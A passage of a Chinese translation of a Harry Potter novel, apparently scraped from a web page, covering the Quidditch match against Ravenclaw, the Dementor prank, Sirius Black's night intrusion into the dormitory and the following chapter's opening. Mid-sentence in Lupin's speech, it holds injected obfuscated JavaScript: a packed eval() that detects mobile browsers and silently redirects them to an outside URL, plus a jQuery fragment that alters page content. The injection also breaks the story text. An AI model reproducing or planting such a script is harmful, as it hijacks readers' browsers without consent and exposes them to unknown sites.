“看看它的平衡性!如果说光轮系列有缺点的话,那就是尾梢部分稍有一点倾斜——用了几年以后,你们时常就会发现这种倾斜会发展成为一种障碍。他们也改进了扫帚柄,比横扫系列稍稍细一点,这让我想到了以前的银箭——可惜他们不再制造银箭了,我是乘坐银箭学会飞行的,那是一种很精巧的老扫帚——” 她继续说下去,又说了一些时候,直到伍德说:“呃——霍琦夫人,哈利拿回他的火弩箭不会有事吧?没别的,就是我们要训练了...” “哦——对...那么,给你,波特,”霍琦夫人说,“我和韦斯莱会一起坐在这里...” 她和罗恩离开球场坐到球场周围的看台上,格兰芬多队聚集在伍德身边,听取他关于第二天赛事的最后指示。 “哈利,我刚才发现拉文克劳队的找球手是谁了。是秋·张。她是四年级学生,相当不错...我曾希望她状态不好,她受过的伤有些问题...” 伍德皱眉说,可惜秋·张已经完全恢复了。然后又说:“另一方面,她骑的是彗星260,和火弩箭相比,那简直是笑话。” 他对哈利的扫帚投去热烈又钦佩的一瞥,然后说:“好吧,伙伴们,开始!” 哈利终于跨上了他的火弩箭,并且从地面上起飞了。 火弩箭比他想象的还要好。极轻地一碰,它就会转弯,好像是服从他的思想,而不是他的紧握。它穿过球场的速度很快,以至于看台变成了一块模模糊糊的绿色和灰色。哈利拐弯拐得很急,艾丽娅因此尖叫起来,然后他进入了完全有控制的行驶.他的脚趾拂过球场上的草叶,然后重新升到三十、四十、五十英尺的空中... “哈利,我把金色飞贼放出来了!”伍德招呼道。 哈利回过身来,追着一颗游走球向着球门冲过去。他轻易就超过了它,看见金色飞贼从伍德身后闪了出来,没用十秒钟哈利就将它紧握在手了。 全队都欢呼起来。哈利让金色飞贼又滚到地上,让它先滚了一分钟,然后他狂奔过去,在队友之间穿插着前进;他发现它潜伏在凯蒂·贝尔膝盖附近,于是轻巧地绕过她,然后又把它抓到了手。 这是最好的一次训练。队员们由于火弩箭在他们中的出现而倍受鼓舞,便使出浑身解数,无懈可击。等到大家都回到地面的时候,伍德半句批评也没有。乔治·韦斯莱指出,这可是从来没有的事。 “我想明天什么也阻挡不了我们!”伍德说,“除非——哈利,你已经解决了摄魂怪给你的麻烦,是不是?” “是。”哈利说,想到他的软弱的守护神,心里但愿它能强大一点儿。 “摄魂怪不会出现了,奥利弗,邓布利多解决了这个难题了。”弗雷德有信心地说。 “好吧,但愿它们不出现。”伍德说,“不管怎么样——大家好好努力,加油。让我们回城堡去吧——早点回去...” “我等一等再回去,罗恩要骑一下火弩箭。”哈利告诉伍德。 队里其他人都走向更衣室的时候,哈利大步走向罗恩,罗恩翻过栏杆迎上前来。霍琦夫人已经在座位上睡着了。 “来吧。”哈利说,把火弩箭交给了罗恩。 罗恩一脸狂喜地骑上扫帚,在渐浓的暮色中陡直上升,而哈利沿着球场边缘走着,看着他。霍琦夫人惊醒过来的时候。夜暮已经降临。她责备哈利和罗恩没有叫醒她,并且坚持要他们回到城堡去。 哈利扛着火弩箭,和罗恩两人走出暮色四合的看台,一路讨论着火弩箭极其平滑的动作、出众的加速和拐弯时的精确性。他们向着城堡走到一半路的时候,哈利向左边一看,看见了让他心头一紧的东西——一双眼睛,在黑暗中发着光。 哈利突然停下来一动不动,心脏狂跳起来。 “怎么啦?”罗恩问。 哈利一指。罗恩拿出魔杖咕哝道:“荧光闪烁!” 一道光线落到草地上,照到了一棵树的根部,照亮了树枝:蜷伏在快要发芽的叶子中间的是克鲁克山。 “滚开!”罗恩吼道,弯腰抓起草地上的一块石头,但在他还没来得及有什么举动以前,克鲁克山的姜黄色长尾巴一闪就消失了。 “看见啦?”罗恩狂怒着说,把那块石头又放下了。“她仍旧让它到处乱逛——现在它很可能再吃两只鸟帮着把斑斑咽下去...” 哈利什么也没有说。他深深吸口气,感到浑身一阵轻松:刚才有一会儿,他满以为那是不祥的眼睛。他们又向城堡走去。哈利对刚才的惊慌感到稍稍有点儿不好意思,但他没有对罗恩说什么——在他们走到灯火通明的城堡以前,哈利也不再左顾右盼了。 第二天早上,哈利和宿舍里的其他同学一起下楼吃早餐,大家似乎都认为火弩箭应该得到某种荣誉。哈利走进大厅的时候,大家都往火弩箭那边看,许多人兴奋地低语。哈利极其满意地看见斯莱特林队好像遭到了雷击一样。 “看见他的脸了吗?”罗恩高兴地说,回头看了看马尔福。“他简直不能相信!这太棒了!” 伍德也为火弩箭所带来的荣耀而得意。 “把它放在这里,哈利。”他说,把扫帚放在了桌子中央,而且小心地让它的牌子朝外。 拉文克劳和赫奇帕奇的学生很快都围过来看。塞德里克·迪戈里过来祝贺,哈利得到了这么好的一把扫帚来代替光轮,珀西在拉文克劳的女朋友佩内洛,也过来问她可不可以真的拿一下火弩箭。 “好了,好了,佩内洛,别搞破坏就行!”珀西高兴地说,这时她正仔细地检验火弩箭。 “我和佩内洛打了赌,”他告诉球队说,“看比赛结果,十个加隆呢!” 佩内洛把火弩箭放下了,谢了哈利回到她自己的桌子那儿去了。 “哈利——千万要赢啊,”珀西紧张地低声说道,“我可没有十个加隆。哎,我就来,佩内洛!” 他赶忙跑过去,和她一起喝酒去了。 “你肯定能对付那把扫帚吧,波特?”一个冷漠、拖长的声音说。 德拉科·马尔福走过来想看得更仔细些,克拉布和高尔就在他身后。 “对,大概吧。”哈利不经意地说。 “有许多优点吧,这把扫帚?”马尔福说,眼睛里闪着恶意的光芒。“可惜它没带着一把降落伞——以防你太靠近摄魂怪。” 克拉布和高尔窃笑起来。 “可惜你不能再多一条臂膀,马尔福,”哈利说,“不然它可以为你抓到那金色飞贼。” 格兰芬多队响亮地大笑起来。马尔福的淡色眼睛眯起来了,他慢慢走开。他们看着他重新走到斯莱特林队的其他队员中,那些人把脑袋凑在一起,肯定是在问马尔福,哈利的扫帚到底是不是火弩箭。 十点三刻的时候,格兰芬多队出发到更衣室去了。和他们与赫奇帕奇队比赛的时候相比,天气真是大大不同了。这是一个凉爽晴朗的日子,风很小。这次应该不存在能见度问题,而且哈利尽管紧张,却开始感到只有魁地奇比赛才能带给他的那种兴奋。他们听得到,学校里其他人陆续来到球场周围的阶梯看台的声音。 哈利脱掉学校的黑色长袍,从衣袋里抽出魔杖,把它塞到他要穿在魁地奇长袍下面的T恤衫里面。但愿用不着这根魔杖。他忽然想到卢平教授,不知道他在不在人群之中,是不是也在观看比赛。 “你知道我们必须做什么,”伍德说,这时他们正准备离开更衣室,“如果我们这次比赛失败了,我们就没有赢的希望了。只要——只要像昨天练习的时候那样,那就行了!” 他们走到球场上,迎接他们的是雷鸣般的掌声。拉文克劳队身穿蓝色球衣。已经站在球场中央了。他们的找球手秋·张是他们队中唯一的女生。她大约比哈利矮一头,哈利尽管紧张,也忍不住注意到,她极其可爱。两支球队面对面站在各自的队长身后的时候,她对哈利微微一笑,哈利的心一阵跳动,他认为这和神经没有什么关系。 “伍德,戴维斯,握手。”霍琦夫人轻快地说,伍德就和拉文克劳的队长握手了。 “跨上扫帚...听我的哨声...三——二——一——” 哈利到了空中,火弩箭陡直上升,比其他所有扫帚都上得快、上得高。他在看台上空高飞,开始斜眼看金色飞贼在哪里,同时一直听着评论,评论员是韦斯莱双胞胎兄弟的朋友,李·乔丹。 “他们开始了,本次比赛令人兴奋之处是格兰芬多队的哈利乘坐的火弩箭。根据《飞天扫帚分类》这本书的说法,火弩箭将是参加本年度世界杯赛的国家队的首选——” “乔丹,能不能请你告诉我们比赛进行得怎么样了?”麦格教授的声音插了进来说。“马上就来,教授——只不过是提供一点背景情况罢了。顺便说一句,火弩箭有一个内置自动制动装置和——” “乔丹!” “好,好,球在格兰芬多队这里,格兰芬多队的凯蒂·贝尔冲向球门...” 哈利在凯蒂对面飞快地闪过,向四周寻觅金色的闪光,注意到秋·张正在他后面紧追不舍。她无疑是个很好的飞行员——她不断从他面前穿过,逼他改变方向。 “让她看看你的速度,哈利!”弗雷德大叫,这时他飞快地驶过去追一个正在以艾丽娅为目标的游走球。 哈利催促火弩箭加速前进,这时他们正包围着拉文克劳队的球门,秋落后了。凯蒂得到了比赛中的第一分,格兰芬多院所在的球场那边沸腾起来了。就在这时,哈利看到了——金色飞贼接近了地面,在一块挡板附近迅速掠过。 哈利冲了下去,秋不论看到他在干什么都会追过来。哈利加快速度,浑身一阵兴奋:下冲是他的特长。他离那里只有十英尺了——一个游走球被拉文克劳的击球手打中,忽然冒了出来。哈利改变方向,差一点没撞上它,就在这关键的几秒钟里,金色飞贼不见了。 格兰芬多的支持者们发出一阵失望的“哦哦——”声,但拉文克劳队却在场上为他们的击球手大声欢呼。乔治·韦斯莱为了发泄感情,把第二个游走球击向对方进攻的击球手,后者被迫在半空中翻滚一周避开了。 “格兰芬多现在以八十比零领先,看看火弩箭是怎么行驶的!波特现在真的发挥出它的速度来了。看它转弯——秋张的彗星没法相它比。在这种长时间的比赛中,火弩箭的精确平衡能力——” “乔丹!火弩箭花钱让你做广告了吗?继续讲赛况!” 拉文克劳在扳回比分,他们现在已经进了三个球,格兰芬多现在只领先五十分了——如果秋在哈利之前抓到金色飞贼,拉文克劳就要赢了。哈利降低了一点,差点儿撞上拉文克劳的一名追球手,哈利的目光疯狂地扫视球场。金色的光芒一闪,小小的翅翼一振——金色飞贼就在格兰芬多的球门附近打转...哈利提高了速度,眼睛盯着前面那块金色的东西——但秋马上就从空中出现了,拦住他的去路—— “哈利,这可不是充绅士的时侯!”伍德吼道,因为哈利避开了,免得发生碰撞。 “要是免不了,你就把她从扫帚上撞下来!” 哈利转过身来看到了秋。她在咧着嘴笑。 金色飞贼又不见了。哈利调转火弩箭,让它上升,很快他就高出赛场二十英尺。他从眼角看到秋在跟着他...她已经决定盯住他,宁可不去自己找那金色飞贼。那好...如果她想尾随他,她就要为这样做的后果付出代价..他再次下冲。秋以为他看见金色飞贼了,想跟上他。哈利陡然停止下冲,她向下急飞的势却收不住。 他像颗子弹一样再次迅速上升,然后第三次看见了金色飞贼:它在远离拉文克劳场地的半空中闪闪发光...他加速。在他下面许多英尺的地方,秋也在加速。他要赢了,他争分夺秒,眼看就要抓到金色飞贼——然后—— “哦!”秋叫道,用手指着。 哈利不觉分心,他往下一看。 三个摄魂怪,三个高大、戴头巾的黑色摄魂怪正抬头看着他。哈利没有停下来思索。他把一只手从脖子那里伸到袍子下面,迅速抽出魔杖并且吼道:“呼神护卫!” 他的魔杖末端冒出巨大的银白色的东西。他知道这东西直接射向了摄魂怪,但他没有停下来观察。他的神智仍然奇迹般地清楚,他往前看——他差不多快要到了。他把拿着魔杖的手伸得更长,手指成功地在那个跳动的小球上合拢了。 霍琦夫人的哨声响了,哈利在半空中折转身子,看见六块模模糊糊的猩红色东西向他冲过来。然后整个球队把他拥抱得那样紧,弄得他几乎从飞天扫帚上掉了下来。他听得见下面格兰芬多院学生的欢呼。 “真是好孩子!”伍德不停地叫嚷。艾丽娅、安吉利娜和凯蒂都吻了哈利,弗雷德把他抓得那么紧,哈利觉得自己的脑袋好像要掉下来了。 全队完全不成队形、乱七八糟地回到了地面。哈利下了扫帚,抬头看到格兰芬多的支持者用全速奔跑到球场上,罗恩领头。他还没有缓过神来,就已经被欢呼的人群包围起来了。 “赢啦!”罗恩大叫,把哈利的手臂猛地举到空中。“赢啦!赢啦!” “干得好,哈利!”珀西说,很高兴的样子。“十个加隆归我了!对不起,我现在一定要找到佩内洛——” “干得好,哈利!”西莫·斐尼甘说。 “棒极了!”海格的声音在格兰芬多院涌动的脑袋上方隆隆地响着。 “那真是不错的守护神。”一个声音在哈利的耳边说。哈利转身,看见了卢平教授,他看上去既受到了震撼,又很高兴。 “摄魂怪没有对我产生影响!”哈利兴奋地说,“我什么也没有感觉到!” “那可能是由于它们——哦——不是摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424100|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂怪。”卢平教授说,“等着瞧吧——” 他领着哈利走出人群,直走到他们能够看见球场边缘的地方。 “你可把马尔福吓得不轻。”卢平说。 哈利目瞪口呆。马尔福、克拉布和高尔,还有斯莱特林队的队长,马库斯·弗林特,在地上乱七八糟地躺做一堆,都在挣扎着从戴头巾的黑长袍里把自己解脱出来。好像是马尔福曾经站在高尔的肩膀上。 脸上带着极其狂怒的表情俯身看着他们的,是麦格教授。 “卑鄙的手段!”她大叫,“阴谋陷害格兰芬多队的找球手,下流怯懦的做法!你们都要接受处分,还要扣去斯莱特林五十分!我要把这件事告诉邓布利多教授,没错!啊,他来了!” 如果说有什么东西,能够给格兰芬多队的得胜盖上印记的话,那就是眼前的情形。罗恩努力挤到了哈利身边,看着马尔福手忙脚乱地要从袍子里解脱出来。看着高尔的脑袋仍然裹在袍子里,不禁笑得腰都直不起来。 “来吧,哈利!”乔治说,努力挤了过来。“联欢会!格兰芬多院公共休息室,现在!” “来啦。”哈利说,觉得好久以来没有这么高兴过。他和其他球员领头,仍旧穿着猩红色的袍子,走出看台回到了城堡。 大家好像已经赢得了魁地奇杯一样。这次联欢会进行了整整一天,一直延续到了晚上。弗雷德和乔治·韦斯莱失踪了两个小时,回来时抱着满怀的一瓶瓶黄油啤酒、嘶嘶南瓜汁和几大袋蜂蜜公爵店的糖果。 “你们怎么弄到手的?”安吉利娜·约翰逊问,这时乔治开始向人群抛撒蟾蜍薄荷糖。 “我们得到了月亮脸、虫尾巴、大脚板和尖头叉子的一点儿小小的帮助。”弗雷德在哈利耳边低声说道。 只有一个人没有参加聚会。 赫敏令人难以置信地坐在角落里,试图阅读一本叫做《不列颠麻瓜家庭的生活与社会习惯》的大书。哈利离开弗雷德和乔治开始用黄油啤酒瓶耍戏法的桌子,来到赫敏身边。 “你一直没有去看比赛吗?”他问她。 “我当然去过了。”赫敏说,声调高得奇怪,根本没有抬起头看哈利。“我们赢了我很高兴,我认为你干得真不错,不过我必须在星期一以前读完这本书。” “来吧,赫敏,来吃一点儿东西。”哈利说,往罗恩那里看,心想罗恩现在的情绪,是不是好得足以和赫敏讲和。 “我不能,哈利,我还有四百二十二页要读呢!”赫敏说,她的声音听起来有一点儿歇斯底里。 “再说...”她也往罗恩那边看,“他不要我参加。” 这是明摆着的,因为罗恩有意挑了这个时机大声说:“如果斑斑没有被吃掉,它就可以吃几个这样的福吉苍蝇了,它一直很喜欢吃的——” 赫敏哭了。哈利还没有来得及说或者做什么,她就把那本大书夹在腋下,抽泣着跑到通往女生宿舍的楼梯,不见了。 “就不能让她休息一下吗?”哈利平静地对罗恩说。 “不能,”罗恩断然说,“如果她表现出抱歉的话——但是她从来不承认她错了,赫敏就是这样的。她那副样子仍旧好像斑斑去度假了还是什么的。” 凌晨一点钟,穿着格子花呢晨衣、戴着发网的麦格教授来到现场,坚持叫大家都去睡觉,这时格兰芬多院的联欢会才告结束。 哈利和罗恩爬上楼梯回到宿舍,仍旧讨论着比赛。 最后,哈利疲乏极了,爬到床上,拉起帷幕遮住月光,再躺下,觉得自己好像立刻就睡着了... 他做了一个奇怪的梦。他在树林里走着,将火弩箭扛在肩上,他在跟着什么银白色的东西走。这东西在树林里蜿蜒曲折地前进,他只能在树叶的缝隙间瞥见它的踪影。他急欲追上它,便加快了脚步,但他走快了,他追求的目标前进得也快,哈利跑起来了,他听见前方的蹄声也加快了速度。现在他在平地赛跑,他能听见前面奔跑的声音。然后他拐了一个弯,到了一片空旷地,于是—— “啊啊啊啊啊啊——!不不不不不不——!” 哈利突然惊醒,好像脸上被人打中了似的。他在黑暗中完全迷失了方向,摸索着床四周的帷幕——他听见自己周围有动静,西莫·斐尼甘的声音从房问另一端传过来。 “怎么啦?” 哈利觉得他听见了宿舍门关上的声音。他终于找到帷幕的开口处,一把拉开了帷幕,与此同时,迪安·托马斯点上了灯。 罗恩在床上坐了起来,帷幕扯到一边,脸上是极端恐怖的神色。 “布莱克!小天狼星布莱克!拿着一把刀子!” “什么?” “就在这里!刚才的事!划破了床帷!把我弄醒了!” “你肯定不是在做梦吗,罗恩?”迪安问道。 “看那帷幕!我告诉你们,他刚才是在这里的!” 他们都爬下了床。哈利第一个来到宿舍门边,他们全速奔跑下了楼。他们身后的门一扇扇打开了,许多睡意朦胧的声音向他们发问。 “刚才是谁在大叫?” “你们在干吗?” 壁炉里的余烬照亮了公共休息室,室内到处有着联欢会留下的垃圾。室内空无一人。 “你肯定不是在做梦吗,罗恩?” “我告诉你们,我看见他了!” “这么多声音是干吗呢?” “麦格教授叫我们都睡觉去!” 有几个女生从楼梯上下来了,披着晨衣,打着哈欠。男生们也陆续出现了。 “棒极了,联欢会继续开下去好吗?”弗雷德·韦斯莱欢快地说。 “大家都回到楼上去!”珀西说。他忙着赶到公共休息室。一面说话,一面把他那男生学生会主席的徽章别在睡衣上。 “珀西——小天狼星布莱克!”罗恩无力地说,“在我们宿舍里!拿着刀!把我弄醒了!” 公共休息室里鸦雀无声。 “胡说!”珀西说,看上去也吓着了。“你只是吃多了,罗恩——做噩梦了——” “我告诉你——” “好啦,够了,别再说了!” 麦格教授回来了。她走进公共休息室以后,就砰的一声关上身后肖像画的洞口,狂怒地环顾四周。 “格兰芬多赢了比赛,我很高兴,但你们现在这样太可笑了!珀西,我原是指望你有更好的表现的!” “我肯定没有让他们这么干。教授!”珀西说,义愤填膺地让自己趾高气扬起来。“我正在叫他们都回到床上去!我弟弟罗恩做了个噩梦——” “不是噩梦!”罗恩使劲叫。“教授,我醒过来,小天狼星布莱克站在我面前,拿着一把刀!” 麦格教授瞪眼看着他。 “别惹人笑话,韦斯莱。他怎么能通过肖像画上的洞呢?” “问他!”罗恩说,颤抖的手指着卡多根爵士的画像,“问他有没有看见——” 麦格教授怀疑地看了罗恩一眼,又把那幅画推开了,自己走了出去。整个公共休息室都屏住了呼吸。 “卡多根爵士,你刚才是不是让一个男子走进格兰芬多塔楼了?” “当然,女士!”卡多根爵士叫道。 大家惊讶得说不出话来,公共休息室内外一片寂静。 “你——你这样做了吗?”麦格教授问。“但是——但是口令呢!” “他有口令!”卡多根爵士骄傲地说,“有整个星期的口令呢,女士!从一张小小的纸上读出来的!” 麦格教授从肖像画的洞口里走了回来,面对这些谅讶得一言不发的学生,她脸色白得像粉笔一样。 “哪一个,”她说,声音发抖,“哪一个愚蠢到不可救药的傻瓜,把这个星期的口令都写了下来,而且还到处乱放?” 一片沉默,然后有极小的、吓坏了的声音打破了沉默。 纳威·隆巴顿从脑袋,到穿着绒毛拖鞋的脚都发着抖,慢慢地举起了手。 52.斯内普的妒忌 那天夜里,格兰芬多塔楼里的人都没有睡觉。他们知道城堡再次被搜查了,整个格兰芬多的人都在公共休息室里待着,等着听究竟有没有抓到布莱克。黎明时分,麦格教授回来了,告诉大家,布莱克再次逃脱了。 第二天,他们不论到哪里,都看到安全措施加强了:弗立维教授拿着布莱克的大照片,在教每一个看守前门的人识别。费尔奇突然在走廊上来回奔忙,从墙壁上的小裂缝到耗子洞都被他用木板钉死了。卡多根爵士遭到了解雇:他的肖像被放回八楼寂寞的楼梯平台那里去了,胖夫人回来了。对胖夫人进行了专业性修复,但她仍然极其紧张,她回来工作是有条件的:必须对她格外保护。雇佣了一批粗暴无礼的侏儒来保护她。他们踏着威胁性的步伐在走廊里走动,说话嘟嘟囔囔的,相互比较着手中棍子的大小。 哈利无意中注意到,四楼上独眼女巫的雕像仍旧无人守卫,也没有加以封闭。弗雷德和乔治——现在是哈利、罗恩和赫敏——认为他们是唯一知道雕像里面有秘密通道的人,看来这是对的。 “你说我们应该告诉谁吗?”哈利问罗恩。 “我们知道他不是从蜂蜜公爵那里来的,”罗恩不加考虑地说,“如果有人闯进那家店,我们会听说的。” 哈利高兴罗恩有这样的看法。如果也用木板把独眼女巫封闭起来,那他就永远不能再去霍格莫德村了。 罗恩已经立马成为名人了。人们现在对他的注意多于对哈利的,罗恩还是生平第一次遇到这样的待遇,他显然很喜欢这种经验。罗恩尽管还在因为那天晚上发生的事情而大受震撼,但只要有人问,他就乐于告诉人家发生了什么事,还加上了许多细节。 “...我睡着了,听到了撕东西的声音,我想自己是在做梦,你知道?但是又有一阵穿堂风...我醒过来,床边的帷幕有一边被撕下来了...我翻了个身...我看见他站在我面前——就像一架骷髅,一大团肮脏的头发...拿着一把大长刀,一定有十二英寸长...他看着我,我看着他,然后我大叫起来,他就逃掉了。” “不过,为什么呢?”罗恩对哈利说,这时一直在听他这个令人毛骨悚然故事的那些二年级女生刚刚散开。“他为什么要逃呢?” 哈利也对这事迷惑不解。布莱克走错了床,为什么不杀罗恩灭口,然后继续找哈利呢?十二年之前,布莱克表明他并不在乎杀死无辜的人,这次他面对的是五名没有武装的男生,其中四人还在熟睡之中。 “他一定知道,要是你叫起来惊醒了大家,他要出城堡就很困难了。”哈利深思熟虑地说,“要通过那幅肖像画上的洞回去,他必须杀死全院的人...然后还可能遇到老师...” 纳威丢尽了脸。麦格教授为了他,气得不得了,不准他以后再去霍格莫德村,还关了他的禁闭,不准任何人把进入塔楼的口令给他。可怜的纳威只得每晚等在公共休息室外,看有谁能带他进去。这时候,那些侏儒便会令人不快地揶揄他。 然而,这些惩罚都还比不上他的祖母准备好等着他的。在布莱克闯进塔楼两天之后,她给纳威寄来了东西,这是霍格沃茨的学生早饭时可能收到的最坏的东西——一封吼叫信。 学校的猫头鹰飞进大厅,像平时一样送来邮件,一只巨大的谷仓猫头鹰停在他面前,叼着一个猩红色的信封,纳威傻眼了。哈利和罗恩正坐在他对面,马上就认出那是一封吼叫信,罗恩去年就从他妈妈那里得到过一封。 “快跑,纳威。”罗恩劝告他。 纳威不需要告诉第二次。他一把抓住那信封,然后像捧着炸弹似的飞跑出大厅,斯莱特林的学生看见他这副模样哄堂大笑。他们听见这封会吼叫的信在前厅说起话来——纳威祖母的声音,比通常的音量放大了一百倍,她尖声谴责他给整个家庭带来了耻辱。 哈利忙于替纳威感到遗憾,却不曾注意到自己也有一封信。海德薇在哈利手腕上狠啄了一口引起了他的注意。“哎哟!哦—— 谢谢,海德薇...” 哈利撕开信封,这时海德薇不待邀请就吃了些纳威的玉米片。信封里的便条写道:亲爱的哈利和罗恩:今晚六点左右和我一起喝茶好吗?我会到城堡来接你们,在大厅等我,你们是不可以自己出城堡的。 海格 “他很可能想昕有关布莱克的所有事情呢!”罗恩说。 那天晚上六点,哈利和罗恩离开格兰芬多院的塔楼,跑着通过了那些保安侏儒,直奔前厅。海格已经在那里等他们了。 “好呀,海格!”罗恩说,“我想你是想听听星期六夜里的事,对不对?” “我已经都听过了。”海格说着打开大门,领他们出了城堡。 “哦。”罗恩说,有点垂头丧气。他们走进海格的小屋之后,首先看见的东西是巴克比克,它躺在海格的补丁床单上,巨大的双翼紧紧地折在身体两旁,正在享受一盘死雪貂。 哈利有意不去看这令人不快的景象,他看到海格的衣柜门上,挂着一套大得不得了的毛茸茸的棕色西服,和一条黄色与橘黄色相间的、难看得可怕的领带。 “这些东西是干吗用的,海格?”哈利问道。 “去参加巴克比克对处置危险生物委员会的案子,”海格说,“本星期五,我和它要一起到伦敦去。我已经订了骑士公共汽车上的两个铺位...” 哈利心里涌起一阵很不舒服的负罪感。巴克比克的审判日期这样近,他却已经把这件事完全忘掉了,从罗恩脸上的表情判断,他也忘了。他们也忘记了自己许下的帮助:准备巴克比克辩护词的诺言,火弩箭的到来,让他们把这些事全都忘掉了。海格给他们倒了茶,还拿了一盘巴思果子面包请他们吃,但他们知道还是别吃的好:他们对海格的手艺可是领教得够多了。 “我有些事情要和你们两人商量。”海格说,在他们两人之间坐下,看上去很严肃。和平时的态度很不一样。 “什么事?”哈利问。 “赫敏。”海格说。 “她怎么啦?”罗恩问。 “她情况正常,问题就在这里。圣诞节以后她来看过我好多次,一直说她很寂寞。你们先是为了火弩箭不理她,现在又不和她说话,为了她的猫——” “——吃了斑斑!”罗恩愤怒地打断了海格的话。 “因为她的猫做了所有的猫都会做的事。”海格顽固地说下去。“她哭了好几次了,你们要知道。现在她日子不好过。她是贪多嚼不烂,要是你问我的话,她想做的事太多了。仍旧挤出时间来帮我准备巴克比克的案子,要知道...她给我找了一些真正有用的资料,我想巴克比克现在有可能会胜...” “海格,我们本来也应该帮你的——抱歉——”哈利开始尴尬地说。 “我不是怪你们!”海格说,不去理会哈利的歉意。“天晓得你们自己要忙的事已经不少了,我看到你们白天黑夜地在魁地奇球场上训练——但是我一定要告诉你们,我认为你们两个应该把朋友,看得比飞天扫帚和耗子更重。这就是我要说的话。” 哈利和罗恩彼此不舒服地对看了一下。 “布莱克差点儿用刀刺了你,她真担心,是这样的,罗恩。她对得起良心,赫敏是这样的,而你们两个不和她说话——” “如果她扔掉那只猫,我就和她说话!”罗恩恼怒地说,“但是她仍旧维护它!那是只疯猫,可说它一句坏话她都听不得!” “啊,好啦,人们对宠物可能就是有点犯傻。”海格明智地说。在他身后,巴克比克吐了几根雪貂骨头在他的枕头上。 他们把剩下的做客时间用来讨论,格兰芬多队赢得魁地奇杯的可能性。 九点钟的时候,海格送他们回到了城堡。他们回到公共休息室,发现一大群人聚集在布告栏前面。 “霍格莫德村,下周末!”罗恩说,在人群头上伸长脖子读那份新通知。 “你打算怎么办?”他平静地问哈利,这时他们正要坐下来。 “唔,费尔奇对通到蜂蜜公爵的路没有动什么手脚吧...”哈利的回答更加平静。 “哈利!”他右耳旁有人唤道。哈利吓了一跳,四周一看,是赫敏,她正好坐在他们后面的一张桌子旁边,正在清理把她遮盖起来的书堆。 “哈利,要是你再到霍格莫德村去...我就要把地图的事告诉麦格教授!”赫敏说。 “你听到有人在说话吗,哈利?”罗恩咆哮道,并不向赫敏看。 “罗恩,你怎么能让他和你一起去?还是在小天狼星布莱克差一点要对你不利之后不久!我说话是当真的,我要告诉...” “好呀,那你是要让哈利被开除了!”罗恩狂怒地说,“今年你捣的乱还不够多吗?” 赫敏张开嘴要回答,但克鲁克山低低地叫了一声,跳到了她膝头上。赫敏对罗恩脸上的表情投去害怕的一瞥,抱起克鲁克山,急忙回女生宿舍去了。 “那么,怎么样?”罗恩对哈利说,好像没有人打断过他们似的。“来吧,上次我们去的时候,有好些东西你还没看到。你就没有到佐科店里面去过!” 哈利向周围一看,确保赫敏听不到他们说的话。 “好的,”他说,“不过这次我要带那件隐形衣去。” 星期六早晨,哈利把隐形衣收拾好放到了书包里,又把活点地图放到了衣袋里,然后和大家一起下楼吃早饭。在饭桌上,赫敏一直向他投来怀疑的目光,但他避开她的眼睛,而且故意让她看到在大家走向前门的时候,他顺着前厅的大理石楼梯上去了。 “再见!”哈利对罗恩打招呼。“你回来时见!” 罗恩笑了,对他眨眨限。 哈利赶忙上了四搂,一路走一路拿出那张地图。他蹲在独眼女巫雕像后面,把地图摊开。一个小小的点正向着他所在的地方移动着。哈利眯着眼看。小点下面的字写道:“纳威·隆巴顿”。 哈利迅速抽出魔技,低声咕哝道:“左右分离!”然后把书包塞进雕像,但是他自己还没有来得及爬进去,就看见纳威转过拐角来了。 “哈利!我忘了你也不去霍格莫德村!” “嘿。纳威,”哈利说,迅速离开了那座雕像,并且把地图塞回衣袋。“你打算干什么?” “没什么打算,”纳威耸耸肩,“想玩一场噼啪爆炸游戏吗?” “哦——现在——对了。我忘了。我要到图书馆去,做卢平布置的吸血鬼论文——” “我和你一起去!”纳威轻松地说,“我也没写呢!” “哦...等一等,对,我想起来了,昨天晚上我就写完了!” “太棒了,你可以帮帮我了!”纳威高兴地说,圆脸上现出追切的表情。“我对大蒜这种东西一点儿也不懂——人们是一定要吃掉它,还是——” 纳威稍稍喘了口气,停住不说了,眼睛越过哈利肩膀看着。 那是斯内普。 纳威迅速地一步跨到哈利后面。 “你们俩在这里干什么?”斯内普说,停下来打量这两个人。“在这里碰头倒是够古怪的——” 让哈利大为惊慌的是,斯内普那双黑眼睛向他们两边的走廊看了看,然后目光落到了独眼女巫身上。 “我们不是——在这里碰头,”哈利说,“我们只不过——正好在这里遇到。” “是吗?”斯内普说,“你习惯在人们意料不到的地方出现,波特,无缘无故的话你们是很少到这里来的...我建议你们回到格兰芬多塔楼去,你们应该在那里。” 哈利和纳威没有再说什么便离开了。 他们拐过弯去时,哈利向后看,斯内普正用一只手抚摸那独眼女巫的头部,仔细地加以检查。 哈利设法在胖夫人那里把口令告诉纳威,就此摆脱了他,然后假装把关于吸血鬼的论文落在图书馆了,就折了回去。一走出保安侏儒的视线,他就又抽出地图,将地图凑近鼻子看着。 四楼的走廊似乎没有人。哈利仔细地反复查看地图,终于看到标有“西弗勒斯·斯内普”字样的小点现在已经回到他的办公室了,不觉松了一口气。 他飞跑回独眼女巫那里,打开她的驼背,爬了进去,滑到底,在石头斜道那里找到了书包。他又让活点地图恢复到了一片空白的状态,然后一路小跑起来。 哈利完全藏在隐形衣下面,来到蜂蜜公爵店外的阳光之下,碰了碰罗恩的背。 “是我。”他低声说。 “怎么来晚了?”罗恩低声问。 “斯内普在那里转悠...” 他们上了大街。 “你在哪里?”罗恩不断从嘴角发问,“你还在吗?这种感觉好古怪...” 他们去了邮局。罗恩假装在看派一只猫头鹰到埃及去要多少钱,让哈利有时间到处看看。猫头鹰们坐在那里,对着他低低地叫着,那里至少有三百只猫头鹰,从大灰鹰到小吟游诗人猫头鹰(“只限当地投递”),什么都有,那些小吟游诗人小得可以坐在哈利的手掌上。 